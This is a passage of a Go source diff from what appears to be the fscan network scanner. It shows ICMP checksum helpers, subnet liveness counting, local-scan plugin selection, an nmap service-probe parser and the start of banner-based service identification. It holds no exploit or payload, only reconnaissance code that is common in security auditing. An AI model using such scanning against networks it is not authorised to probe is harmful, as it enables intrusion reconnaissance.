func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
// 按16位累加
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
// 处理奇数长度情况
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
// 将高16位加到低16位
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
// 取反得到校验和
return uint16(^sum)
}
// genSequence 生成ICMP序列号
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8) // 高8位
ret2 := byte(v & 255) // 低8位
return ret1, ret2
}
// genIdentifier 根据主机地址生成标识符
func genIdentifier(host string) (byte, byte) {
return host[0], host[1] // 使用主机地址前两个字节
}
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {
continue
}
// 根据flag确定统计B段还是C段
var segment string
if flag {
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
} else {
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
}
segmentCounts[segment]++
}
// 创建副本用于排序
sortMap := make(map[string]int)
for k, v := range segmentCounts {
sortMap[k] = v
}
// 获取TOP N结果
for i := 0; i < length && len(sortMap) > 0; i++ {
maxSegment := ""
maxCount := 0
// 查找当前最大值
for segment, count := range sortMap {
if count > maxCount {
maxCount = count
maxSegment = segment
}
}
// 添加到结果集
arrTop = append(arrTop, maxSegment)
arrLen = append(arrLen, maxCount)
// 从待处理map中删除已处理项
delete(sortMap, maxSegment)
}
return
}
+112
View File
@@ -0,0 +1,112 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// LocalScanStrategy 本地扫描策略
type LocalScanStrategy struct{}
// NewLocalScanStrategy 创建新的本地扫描策略
func NewLocalScanStrategy() *LocalScanStrategy {
return &LocalScanStrategy{}
}
// Name 返回策略名称
func (s *LocalScanStrategy) Name() string {
return "本地扫描"
}
// Description 返回策略描述
func (s *LocalScanStrategy) Description() string {
return "收集本地系统信息"
}
// Execute 执行本地扫描策略
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("执行本地信息收集")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 输出插件信息
s.LogPluginInfo()
// 准备目标(本地扫描通常只有一个目标,即本机)
targets := s.PrepareTargets(info)
// 执行扫描任务
ExecuteScanTasks(targets, s, ch, wg)
}
// PrepareTargets 准备本地扫描目标
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 本地扫描只使用传入的目标信息,不做额外处理
return []Common.HostInfo{info}
}
// GetPlugins 获取本地扫描插件列表
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了特定插件且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在,不做Local类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
return validPlugins, true
}
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出本地扫描插件信息
func (s *LocalScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下,只显示Local类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("本地模式: 未找到可用的本地插件")
}
}
// IsPluginApplicable 判断插件是否适用于本地扫描
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,只运行Local类型插件
return plugin.HasType(Common.PluginTypeLocal)
}
+58
View File
@@ -0,0 +1,58 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
)
// 插件列表解析和验证
func parsePluginList(pluginStr string) []string {
if pluginStr == "" {
return nil
}
// 按逗号分割并去除每个插件名称两端的空白
plugins := strings.Split(pluginStr, ",")
for i, p := range plugins {
plugins[i] = strings.TrimSpace(p)
}
// 过滤空字符串
var result []string
for _, p := range plugins {
if p != "" {
result = append(result, p)
}
}
return result
}
// 验证扫描插件的有效性
func validateScanPlugins() error {
// 如果未指定扫描模式或使用All模式,则无需验证
if Common.ScanMode == "" || Common.ScanMode == "all" {
return nil
}
// 解析插件列表
plugins := parsePluginList(Common.ScanMode)
if len(plugins) == 0 {
plugins = []string{Common.ScanMode}
}
// 验证每个插件是否有效
var invalidPlugins []string
for _, plugin := range plugins {
if _, exists := Common.PluginManager[plugin]; !exists {
invalidPlugins = append(invalidPlugins, plugin)
}
}
if len(invalidPlugins) > 0 {
return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", "))
}
return nil
}
+877
View File
@@ -0,0 +1,877 @@
package Core
import (
_ "embed"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"regexp"
"strconv"
"strings"
)
//go:embed nmap-service-probes.txt
var ProbeString string
var v VScan // 改为VScan类型而不是指针
type VScan struct {
Exclude string
AllProbes []Probe
UdpProbes []Probe
Probes []Probe
ProbesMapKName map[string]Probe
}
type Probe struct {
Name string // 探测器名称
Data string // 探测数据
Protocol string // 协议
Ports string // 端口范围
SSLPorts string // SSL端口范围
TotalWaitMS int // 总等待时间
TCPWrappedMS int // TCP包装等待时间
Rarity int // 稀有度
Fallback string // 回退探测器名称
Matchs *[]Match // 匹配规则列表
}
type Match struct {
IsSoft bool // 是否为软匹配
Service string // 服务名称
Pattern string // 匹配模式
VersionInfo string // 版本信息格式
FoundItems []string // 找到的项目
PatternCompiled *regexp.Regexp // 编译后的正则表达式
}
type Directive struct {
DirectiveName string
Flag string
Delimiter string
DirectiveStr string
}
type Extras struct {
VendorProduct string
Version string
Info string
Hostname string
OperatingSystem string
DeviceType string
CPE string
}
func init() {
Common.LogDebug("开始初始化全局变量")
v = VScan{} // 直接初始化VScan结构体
v.Init()
// 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
null = &nullProbe
} else {
Common.LogDebug("警告: 未找到NULL探测器")
}
// 获取并检查 GenericLines 探测器
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
common = &commonProbe
} else {
Common.LogDebug("警告: 未找到GenericLines探测器")
}
Common.LogDebug("全局变量初始化完成")
}
// 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
Common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{}
// 查找第一个空格的位置
blankIndex := strings.Index(data, " ")
if blankIndex == -1 {
Common.LogDebug("未找到空格分隔符")
return directive
}
// 解析各个字段
directiveName := data[:blankIndex]
Flag := data[blankIndex+1 : blankIndex+2]
delimiter := data[blankIndex+2 : blankIndex+3]
directiveStr := data[blankIndex+3:]
directive.DirectiveName = directiveName
directive.Flag = Flag
directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr))
return directive
}
// 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) {
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息
proto := probeStr[:4]
other := probeStr[4:]
// 验证协议类型
if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 验证其他信息不为空
if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 解析指令
directive := p.getDirectiveSyntax(other)
// 设置探测器属性
p.Name = directive.DirectiveName
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol))
}
// 从字符串解析探测器信息
func (p *Probe) fromString(data string) error {
Common.LogDebug("开始解析探测器字符串数据")
var err error
// 预处理数据
data = strings.TrimSpace(data)
lines := strings.Split(data, "\n")
if len(lines) == 0 {
return fmt.Errorf("输入数据为空")
}
probeStr := lines[0]
p.parseProbeInfo(probeStr)
// 解析匹配规则和其他配置
var matchs []Match
for _, line := range lines {
Common.LogDebug("处理行: " + line)
switch {
case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line)
if err != nil {
Common.LogDebug("解析match失败: " + err.Error())
continue
}
matchs = append(matchs, match)
case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line)
if err != nil {
Common.LogDebug("解析softmatch失败: " + err.Error())
continue
}
matchs = append(matchs, softMatch)
case strings.HasPrefix(line, "ports "):
p.parsePorts(line)
case strings.HasPrefix(line, "sslports "):
p.parseSSLPorts(line)
case strings.HasPrefix(line, "totalwaitms "):
p.parseTotalWaitMS(line)
case strings.HasPrefix(line, "tcpwrappedms "):
p.parseTCPWrappedMS(line)
case strings.HasPrefix(line, "rarity "):
p.parseRarity(line)
case strings.HasPrefix(line, "fallback "):
p.parseFallback(line)
}
}
p.Matchs = &matchs
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err
}
// 解析端口配置
func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:]
Common.LogDebug("解析端口: " + p.Ports)
}
// 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:]
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
}
// 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil {
Common.LogDebug("解析总等待时间失败: " + err.Error())
return
}
p.TotalWaitMS = waitMS
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
}
// 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil {
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return
}
p.TCPWrappedMS = wrappedMS
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
}
// 解析稀有度
func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil {
Common.LogDebug("解析稀有度失败: " + err.Error())
return
}
p.Rarity = rarity
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
}
// 解析回退配置
func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:]
Common.LogDebug("回退配置: " + p.Fallback)
}
// 判断是否为十六进制编码
func isHexCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
return matchRe.Match(b)
}
// 判断是否为八进制编码
func isOctalCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
return matchRe.Match(b)
}
// 判断是否为结构化转义字符
func isStructCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[aftnrv]`)
return matchRe.Match(b)
}
// 判断是否为正则表达式特殊字符
func isReChar(n int64) bool {
reChars := `.*?+{}()^$|\`
for _, char := range reChars {
if n == int64(char) {
return true
}
}
return false
}
// 判断是否为其他转义序列
func isOtherEscapeCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[^\\]`)
return matchRe.Match(b)
}
// 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) {
Common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe
var lines []string
// 过滤注释和空行
linesTemp := strings.Split(content, "\n")
for _, lineTemp := range linesTemp {
lineTemp = strings.TrimSpace(lineTemp)
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
continue
}
lines = append(lines, lineTemp)
}
// 验证文件内容
if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 检查Exclude指令
excludeCount := 0
for _, line := range lines {
if strings.HasPrefix(line, "Exclude ") {
excludeCount++
}
if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
}
// 验证第一行格式
firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 处理Exclude指令
if excludeCount == 1 {
v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:]
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
}
// 合并内容并分割探测器
content = "\n" + strings.Join(lines, "\n")
probeParts := strings.Split(content, "\nProbe")[1:]
// 解析每个探测器
for _, probePart := range probeParts {
probe := Probe{}
if err := probe.fromString(probePart); err != nil {
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue
}
probes = append(probes, probe)
}
v.AllProbes = probes
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
}
// 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() {
Common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe
Common.LogDebug("添加探测器映射: " + probe.Name)
}
}
// 设置使用的探测器
func (v *VScan) SetusedProbes() {
Common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" {
Common.LogDebug("跳过 SSLSessionReq 探测器")
continue
}
v.Probes = append(v.Probes, probe)
Common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe)
Common.LogDebug("为TLSSessionReq添加SSL探测器")
}
} else {
v.UdpProbes = append(v.UdpProbes, probe)
Common.LogDebug("添加UDP探测器: " + probe.Name)
}
}
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes)))
}
// 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) {
Common.LogDebug("开始解析match指令:" + data)
match = Match{}
// 提取match文本并解析指令语法
matchText := data[len("match")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return match, fmt.Errorf("无效的match指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr
}
// 设置match对象属性
match.Service = directive.DirectiveName
match.Pattern = pattern
match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern))
return match, nil
}
// 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
Common.LogDebug("开始解析softmatch指令:" + data)
softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法
matchText := data[len("softmatch")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return softMatch, fmt.Errorf("无效的softmatch指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr
}
// 设置softMatch对象属性
softMatch.Service = directive.DirectiveName
softMatch.Pattern = pattern
softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern))
return softMatch, nil
}
// 解码模式字符串,处理转义序列
func DecodePattern(s string) ([]byte, error) {
Common.LogDebug("开始解码pattern: " + s)
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
var replace []byte
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
if isReChar(byteNum) {
replace = []byte{'\\', uint8(byteNum)}
} else {
replace = []byte{uint8(byteNum)}
}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
replace = structCodeMap[int(match[1])]
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
replace = []byte{uint8(byteNum)}
}
return replace
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
if isOtherEscapeCode(match) {
return match
}
return match
})
Common.LogDebug("pattern解码完成")
return sByteDec2, nil
}
// ProbesRarity 用于按稀有度排序的探测器切片
type ProbesRarity []Probe
// Len 返回切片长度,实现 sort.Interface 接口
func (ps ProbesRarity) Len() int {
return len(ps)
}
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
func (ps ProbesRarity) Swap(i, j int) {
ps[i], ps[j] = ps[j], ps[i]
}
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
func (ps ProbesRarity) Less(i, j int) bool {
return ps[i].Rarity < ps[j].Rarity
}
// Target 定义目标结构体
type Target struct {
IP string // 目标IP地址
Port int // 目标端口
Protocol string // 协议类型
}
// ContainsPort 检查指定端口是否在探测器的端口范围内
func (p *Probe) ContainsPort(testPort int) bool {
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
// 检查单个端口
ports := strings.Split(p.Ports, ",")
for _, port := range ports {
port = strings.TrimSpace(port)
cmpPort, err := strconv.Atoi(port)
if err == nil && testPort == cmpPort {
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
return true
}
}
// 检查端口范围
for _, port := range ports {
port = strings.TrimSpace(port)
if strings.Contains(port, "-") {
portRange := strings.Split(port, "-")
if len(portRange) != 2 {
Common.LogDebug("无效的端口范围格式: " + port)
continue
}
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
if err1 != nil || err2 != nil {
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
continue
}
if testPort >= start && testPort <= end {
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
return true
}
}
}
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
return false
}
// MatchPattern 使用正则表达式匹配响应内容
func (m *Match) MatchPattern(response []byte) bool {
// 将响应转换为字符串并进行匹配
responseStr := string([]rune(string(response)))
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
if len(foundItems) > 0 {
m.FoundItems = foundItems
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
return true
}
return false
}
// ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras {
Common.LogDebug("开始解析版本信息")
var extras = Extras{}
// 替换版本信息中的占位符
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
versionInfo := m.VersionInfo
for index, value := range foundItems {
dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
}
Common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数
parseField := func(field, pattern string) string {
patterns := []string{
pattern + `/([^/]*)/`, // 斜线分隔
pattern + `\|([^|]*)\|`, // 竖线分隔
}
for _, p := range patterns {
if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1]
}
}
}
return ""
}
// 解析各个字段
extras.VendorProduct = parseField("厂商产品", " p")
extras.Version = parseField("版本", " v")
extras.Info = parseField("信息", " i")
extras.Hostname = parseField("主机名", " h")
extras.OperatingSystem = parseField("操作系统", " o")
extras.DeviceType = parseField("设备类型", " d")
// 特殊处理CPE
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
for _, pattern := range cpePatterns {
regex := regexp.MustCompile(pattern)
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
if len(cpeName) > 1 {
extras.CPE = cpeName[1]
} else {
extras.CPE = cpeName[0]
}
Common.LogDebug("解析到CPE: " + extras.CPE)
break
}
}
}
return extras
}
// ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string {
Common.LogDebug("开始转换Extras为Map")
result := make(map[string]string)
// 定义字段映射
fields := map[string]string{
"vendor_product": e.VendorProduct,
"version": e.Version,
"info": e.Info,
"hostname": e.Hostname,
"os": e.OperatingSystem,
"device_type": e.DeviceType,
"cpe": e.CPE,
}
// 添加非空字段到结果map
for key, value := range fields {
if value != "" {
result[key] = value
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
}
}
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result
}
func DecodeData(s string) ([]byte, error) {
if len(s) == 0 {
Common.LogDebug("输入数据为空")
return nil, fmt.Errorf("empty input")
}
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
if replace, ok := structCodeMap[int(match[1])]; ok {
return replace
}
return match
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
return match
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
if len(match) < 2 {
return match
}
if isOtherEscapeCode(match) {
return []byte{match[1]}
}
return match
})
if len(sByteDec2) == 0 {
Common.LogDebug("解码后数据为空")
return nil, fmt.Errorf("decoded data is empty")
}
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
return sByteDec2, nil
}
// GetAddress 获取目标的完整地址(IP:端口)
func (t *Target) GetAddress() string {
addr := t.IP + ":" + strconv.Itoa(t.Port)
Common.LogDebug("获取目标地址: " + addr)
return addr
}
// trimBanner 处理和清理横幅数据
func trimBanner(buf []byte) string {
Common.LogDebug("开始处理横幅数据")
bufStr := string(buf)
// 特殊处理SMB协议
if strings.Contains(bufStr, "SMB") {
banner := hex.EncodeToString(buf)
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
Common.LogDebug("检测到SMB协议数据")
plain := banner[0xa2:]
data, err := hex.DecodeString(plain)
if err != nil {
Common.LogDebug("SMB数据解码失败: " + err.Error())
return bufStr
}
// 解析domain
var domain string
var index int
for i, s := range data {
if s != 0 {
domain += string(s)
} else if i+1 < len(data) && data[i+1] == 0 {
index = i + 2
break
}
}
// 解析hostname
var hostname string
remainData := data[index:]
for i, h := range remainData {
if h != 0 {
hostname += string(h)
}
if i+1 < len(remainData) && remainData[i+1] == 0 {
break
}
}
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
Common.LogDebug("SMB横幅: " + smbBanner)
return smbBanner
}
}
// 处理常规数据
var src string
for _, ch := range bufStr {
if ch > 32 && ch < 125 {
src += string(ch)
} else {
src += " "
}
}
// 清理多余空白
re := regexp.MustCompile(`\s{2,}`)
src = re.ReplaceAllString(src, ".")
result := strings.TrimSpace(src)
Common.LogDebug("处理后的横幅: " + result)
return result
}
// Init 初始化VScan对象
func (v *VScan) Init() {
Common.LogDebug("开始初始化VScan")
v.parseProbesFromContent(ProbeString)
v.parseProbesToMapKName()
v.SetusedProbes()
Common.LogDebug("VScan初始化完成")
}
+476
View File
@@ -0,0 +1,476 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings"
"time"
)
// ServiceInfo 定义服务识别的结果信息
type ServiceInfo struct {
Name string // 服务名称,如 http、ssh 等
Banner string // 服务返回的横幅信息
Version string // 服务版本号
Extras map[string]string // 其他额外信息,如操作系统、产品名等
}
// Result 定义单次探测的结果
type Result struct {
Service Service // 识别出的服务信息
Banner string // 服务横幅
Extras map[string]string // 额外信息
Send []byte // 发送的探测数据
Recv []byte // 接收到的响应数据
}
// Service 定义服务的基本信息
type Service struct {
Name string // 服务名称
Extras map[string]string // 服务的额外属性
}
// Info 定义单个端口探测的上下文信息
type Info struct {
Address string // 目标IP地址
Port int // 目标端口
Conn net.Conn // 网络连接
Result Result // 探测结果
Found bool // 是否成功识别服务
}
// PortInfoScanner 定义端口服务识别器
type PortInfoScanner struct {
Address string // 目标IP地址
Port int // 目标端口
Conn net.Conn // 网络连接
Timeout time.Duration // 超时时间
info *Info // 探测上下文
}
// 预定义的基础探测器
var (
null = new(Probe) // 空探测器,用于基本协议识别
common = new(Probe) // 通用探测器,用于常见服务识别
)
// NewPortInfoScanner 创建新的端口服务识别器实例
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
return &PortInfoScanner{
Address: addr,
Port: port,
Conn: conn,
Timeout: timeout,
info: &Info{
Address: addr,
Port: port,
Conn: conn,
Result: Result{
Service: Service{},
},
},
}
}
// Identify 执行服务识别,返回识别结果
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
s.info.PortInfo()
// 构造返回结果
serviceInfo := &ServiceInfo{
Name: s.info.Result.Service.Name,
Banner: s.info.Result.Banner,
Version: s.info.Result.Service.Extras["version"],
Extras: make(map[string]string),
}
// 复制额外信息
for k, v := range s.info.Result.Service.Extras {
serviceInfo.Extras[k] = v
}
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
return serviceInfo, nil
}
// PortInfo 执行端口服务识别的主要逻辑
func (i *Info) PortInfo() {
// 1. 首先尝试读取服务的初始响应
if response, err := i.Read(); err == nil && len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
